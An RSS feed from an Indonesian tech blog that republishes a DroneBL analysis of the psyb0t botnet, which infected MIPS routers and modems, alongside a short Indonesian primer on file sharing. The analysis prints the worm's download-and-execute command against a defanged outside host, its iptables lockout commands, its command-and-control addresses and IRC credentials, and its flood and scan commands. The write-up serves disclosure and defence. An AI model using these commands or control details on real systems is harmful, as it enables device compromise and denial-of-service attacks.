<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>KALTIMfree.com &#187; Networking</title>
	<atom:link href="http://kaltimfree.com/blog/category/computer-tutorial/networking-materi-pengenalan/feed" rel="self" type="application/rss+xml" />
	<link>http://kaltimfree.com/blog</link>
	<description>Share alll we Knows</description>
	<lastBuildDate>Mon, 26 Apr 2010 05:57:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Network Bluepill &#8211; stealth router-based botnet has been DDoSing dronebl for the last couple of weeks</title>
		<link>http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx</link>
		<comments>http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx#comments</comments>
		<pubDate>Sat, 25 Jul 2009 03:46:21 +0000</pubDate>
		<dc:creator>tukangtidurterus</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[botnet]]></category>
		<category><![CDATA[ddosing modem]]></category>

		<guid isPermaLink="false">http://kaltimfree.com/blog/?p=556</guid>
		<description><![CDATA[Below is a description of a botnet we found in the wild. However,
Update 4 &#8212; Before you read anything else, read this
Am I Vulnerable?
You are only vulnerable if:

Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.
Your device also has telnet, SSH or web-based interfaces available [...]]]></description>
			<content:encoded><![CDATA[<p>Below is a description of a botnet we found in the wild. However,</p>
<h2><a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">Update 4 &#8212; Before you read anything else, read this</a></h2>
<h3>Am I <a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">Vulnerable</a>?</h3>
<p>You are only vulnerable if:</p>
<ul>
<li>Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.</li>
<li>Your device also has telnet, SSH or web-based interfaces available to the WAN, and</li>
<li>Your username and password combinations are <em>weak</em>, <strong>OR</strong> the daemons that your <a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">firmware</a> uses are <a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx"><strong>exploitable</strong></a>.</li>
</ul>
<p>As such, 90% of the routers and modems participating in this botnet are participating due to <a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx"><strong>user-error</strong></a> (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.</p>
<p>Any device that meets the above criteria is vulnerable, including those built on custom firmware such as OpenWRT and DD-WRT. If the above criteria is not met, then the device is NOT vulnerable.</p>
<h3>How can I tell if I have been infected?</h3>
<p>Ports 22, 23 and 80 are blocked as part of the infection process (but <em>NOT</em> as part of the rootkit itself, running the <a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx"><strong>rootkit itself</strong> </a>will not alter your iptables configuration).</p>
<p>If these ports are blocked, you should perform a hard reset on your device, change the administrative passwords, and update to the latest firmware. These steps will <a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx"><em>remove the rootkit</em></a> and ensure that your device is not reinfected.</p>
<h3><a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx"><strong>Public Relations and Us</strong></a></h3>
<p>We deal with botnets and abusive hosts, not PR.</p>
<p>We are quite concerned that not many people have (there have been a few, but the majority of the people have used the &#8217;slashdot version&#8217;) contacted us, or anybody else working on this for further information or to verify if their conclusions written in their articles were correct. Many articles described this as a &#8220;end of the world, all routers are vulnerable&#8221; thing. This is simply not the case. We would prefer if you contact us if you do not understand fully now.</p>
<h3><a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx"><strong>Commentary found on the Internet about &#8220;this rootkit is fake&#8221;, or &#8220;it doesn&#8217;t run on my ubuntu box&#8221;, or &#8220;UPX doesn&#8217;t unpack it&#8221;</strong></a></h3>
<p>Ok, first off, this binary is for MIPS-based processors, which are not X86 (the kind used in the average PC).</p>
<p>Secondly, this binary IS packed with UPX, but he has stripped the headers necessary to decompress it. A little time with a hex editor can get you the decompressed binary, as can just running it in qemu.</p>
<h3>Commentary on &#8220;why isnt Law Enforcement involved&#8221;</h3>
<p>Many botnet investigations are handled by the private sector. This is one of those investigations. If a Law Enforcement agency is interested in our work, or the work of anybody else researching this worm, then they should be encouraged to email admins@dronebl.org about it. If we have any useful information they don&#8217;t already know, we will be more than happy to provide it.</p>
<h3>Commentary on &#8220;<a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">is device X vulnerable</a>?&#8221;</h3>
<p>Short answer: We don&#8217;t know. There are so many devices out there that we could not possibly know.</p>
<p>Your best bet would be to take action to upgrade the device firmware and secure any passwords if there is concern that the device may be vulnerable. Such actions will help to avoid exploitation by the worm.</p>
<h2><a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">The worm info itself</a></h2>
<p>We have come across a botnet worm spreading around called &#8220;psyb0t&#8221;. It is notable because, according to my knowledge, it:</p>
<ul>
<li>is the first botnet worm to target routers and DSL modems</li>
<li>contains shellcode for many mipsel devices</li>
<li>is not targeting PCs or servers</li>
<li>uses multiple strategies for exploitation, including bruteforce username and password combinations</li>
<li>harvests usernames and passwords through deep packet inspection</li>
<li>can scan for exploitable phpMyAdmin and MySQL servers</li>
</ul>
<h3><a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">Vulnerable devices</a></h3>
<ul>
<li>any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices).</li>
<li>possibly others</li>
</ul>
<h3>Infection strategy</h3>
<p>Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:</p>
<pre><code># rm -f /var/tmp/udhcpc.env
# wget
</code></pre>
<p>If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.</p>
<p>If wget is not present, the bot looks for &#8220;busybox ftpget&#8221;, and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.</p>
<pre><code># wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp &amp;&amp; chmod +x /var/tmp/udhcpc.env &amp;&amp; /var/tmp/udhcpc.env &amp;
udhcpc.env 100% |*****************************| 33744 00:00 ETA
</code></pre>
<p>It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.</p>
<pre><code># iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP
</code></pre>
<p>This concludes the infection process.</p>
<h3><a href="http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx">IRC Botnet</a></h3>
<pre>Command and control server: strcpy.us.to
IP: 207.155.1.5 (master controller, Windstream Communications AS16687)
IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????)
Port: 5050
Password: $!0@
Channel: #mipsel
Key: %#8b
NickPattern: \[NIP\]-[A-Z/0-9]{9}
BotController: DRS
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)</pre>
<p>strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]</p>
<h3>IRC Commands</h3>
<pre>.mode   - sets a mode on a channel
.login        - login to the bot
.logout                 - logout
.exit                   - causes the botnet to exit and remove itself
.sh            - runs  on shell
.tlist                  - lists all threads
.kill                   - kills a thread
.killall       - kills threads by glob-match pattern
.silent                 - makes the bot stop sending to channel
.getip                  - show bot WAN ip address
.visit             - flood URL with GET requests
.scan                   - scans a random range for vulnerable routers/modems
.rscan           - scans a CIDR range for vulnerable routers/modems
.lscan                  - scans the local subnet for vulnerable routers/modems
.lrscan                 - scans a range in the local subnet for vulnerable routers/modems
.split        - splits the workload of a scan thread into two threads
.sql        - scans for vulnerable MySQL servers and attempts to make them download and run URL
.pma        - scans for vulnerable phpMyAdmin and attempts to make them download and run URL
.sleep            - makes the bot sleep for the given time
.sel                    - ???
.esel                   - skip next part if locale is not X
.vsel                   - skip next part if version is not X
.gsel                   - ???
.rejoin [delay]         - cycle the channel after delay
.upgrade                - download new bot from the distribution site
.ver                    - returns "[PRIVATE] PSYB0T" followed by version
.rs                     - returns detected rapidshare URLs and logins
.rsgen                  - generate a bogus rapidshare login page and force user to browse to it
.rsloop           - runs a webserver i/o loop on  as a thread
.wget              - runs wget with the provided url
.r00t                   - attempts to raise effective UID using vmsplice() exploit (seems pointless)
.sflood      - sends SYN packets to IP
.uflood      - sends UDP packets to IP
.iflood      - sends ICMP pings to IP
.pscan              - portscans IP
.fscan              - tries to bruteforce FTP server at IP</pre>
<h3>Commentary</h3>
<p>As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined.</p>
<p>The author of this worm has some sophisticated programming knowledge, given the nature of this executable.</p>
<p>Action must be taken immediately to stop this worm before it grows much larger.</p>
<p>We came across this botnet as part of an investigation into the DDoS attacks against DroneBL&#8217;s infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL.</p>
<p>We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know.</p>
<p>If you intend to disassemble this botnet, you should note it&#8217;s UPX-compressed.</p>
<p>I estimate that at the time of writing, there is at least 100,000 hosts infected.</p>
<p>I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload.</p>
<p>This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of <strong>personally identifying information</strong>. This technique will certainly not be going away.</p>
<h2>Update</h2>
<p>Some prior research about an earlier version has been found <a href="http://www.adam.com.au/bogaurd/">here</a>. This research was done by Terry Baume.</p>
<h2>Update 2</h2>
<p>This botnet has apparently been shutdown:</p>
<pre>* Now talking on #mipsel
* Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over:
 for those interested i reached 80K. That was fun <img src='http://kaltimfree.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> , time to get back to the real life... (To the DroneBL guys:
 I never DDOSed/Phished anybody or peeked on anybody's private data for that matter)
* Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009</pre>
<p>While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet.</p>
<p>We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources.</p>
<p>We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks.</p>
<h2>Update 3 (Disinfection Instructions)</h2>
<p>We have been getting asked a lot about disinfection instructions.</p>
<p>To disinfect, simply powercycle your device and take appropriate action to lock it down, including the latest firmware updates, and using a secure password.</p>
<p style="border-top: 1px dashed #999999; font-size: 85%; text-align: right;">nenolod / Mar-22-2009 07:32:31 GMT</p>
<img src="http://kaltimfree.com/blog/?ak_action=api_record_view&id=556&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://kaltimfree.com/blog/2009/07/computer-tutorial/networking-materi-pengenalan/network-bluepill-stealth-router-based-botnet-has-been-ddosing-dronebl-for-the-last-couple-of-weeks.aspx/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Jaringan Dasar</title>
		<link>http://kaltimfree.com/blog/2008/11/computer-tutorial/networking-materi-pengenalan/jaringan-dasar.aspx</link>
		<comments>http://kaltimfree.com/blog/2008/11/computer-tutorial/networking-materi-pengenalan/jaringan-dasar.aspx#comments</comments>
		<pubDate>Sun, 16 Nov 2008 04:54:52 +0000</pubDate>
		<dc:creator>tukangtidurterus</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[jaringan dasar]]></category>
		<category><![CDATA[p2p]]></category>
		<category><![CDATA[sharing]]></category>

		<guid isPermaLink="false">http://kaltimfree.com/blog/?p=51</guid>
		<description><![CDATA[Komputer jaringan memungkinkan Anda untuk berbagi file dengan teman, keluarga, partner dan pelanggan. Sebelum Internet dan jaringan rumah menjadi populer, berbagi file yang sering menggunakan disket dan Plerdisk. Saat ini, beberapa orang masih menggunakan CD-ROM / DVD-ROM disk dan USB untuk mentransfer kunci mereka foto dan video, namun jaringan / Networking memberikan pilihan lebih fleksibel.
File [...]]]></description>
			<content:encoded><![CDATA[<p>Komputer jaringan memungkinkan Anda untuk berbagi file dengan teman, keluarga, partner dan pelanggan. Sebelum Internet dan jaringan rumah menjadi populer, berbagi file yang sering menggunakan disket dan Plerdisk. Saat ini, beberapa orang masih menggunakan CD-ROM / DVD-ROM disk dan USB untuk mentransfer kunci mereka foto dan video, namun jaringan / Networking memberikan pilihan lebih fleksibel.</p>
<p><strong>File sharing dengan Microsoft Windows</strong></p>
<p>Microsoft Windows (dan lain sistem operasi komputer pribadi) berisi fitur untuk file sharing.Misalnya, file folder Windows dapat di pakai di seluruh lokal area network (LAN) atau Internet Explorer menggunakan interface dan pemetaan drive jaringan. Anda dapat juga mengatur pembatasan akses keamanan yang dapat mengendalikan siapa saja yang di temui di jaringan itu ( dengan aplikasi dan pengetahuan yang mendukung tentunya)</p>
<p><strong>Ftp file transfer</strong></p>
<p>File Transfer Protocol (FTP) adalah cara clasic tetapi masih banyak cara untuk berbagi file di Internet. Sebuah pusat komputer yang disebut server FTP menyimpan semua file untuk dibagi, sementara komputer dari jauh menggunakan software FTP klien dapat masuk ke server untuk memperoleh salinan data yang tersimpan di server.</p>
<p>Hampir Semua sistem operasi komputer modern berisi software FTP klien (minimal mampu menjalankannya) , dan Web browser populer seperti Internet Explorer, Mozilla Firefox, Opera juga dapat dikonfigurasi untuk disgunakan sebagai klien FTP. program Alternatif klien FTP juga tersedia untuk download gratis di Internet. Seperti dengan Windows file sharing, keamanan akses pilihan dapat ditetapkan pada server FTP, sehingga klien harus menggunakan nama login dan password valid untuk dapat mengambil data di server.</p>
<p><strong>P2P &#8211; peer to peer file sharing</strong></p>
<p>Peer to peer (P2P) file sharing yang sangat populer untuk metode swapping file besar di Internet, terutama musik dan video.Tidak seperti FTP, P2P file sharing sistem tidak menggunakan server pusat tetapi memungkinkan semua komputer pada jaringan untuk memiliki fungsi sama sebagai klien dan server.Sejumlah perangkat lunak P2P gratis setiap ada program mereka sendiri dengan keunggulan teknis dan di gemari masyarakat salah satunya adalah Instant Messaging (IM) adalah sebuah sistem P2P jenis aplikasi paling sering digunakan untuk chatting, tetapi semua perangkat lunak IM populer juga mendukung file sharing.</p>
<img src="http://kaltimfree.com/blog/?ak_action=api_record_view&id=51&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://kaltimfree.com/blog/2008/11/computer-tutorial/networking-materi-pengenalan/jaringan-dasar.aspx/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
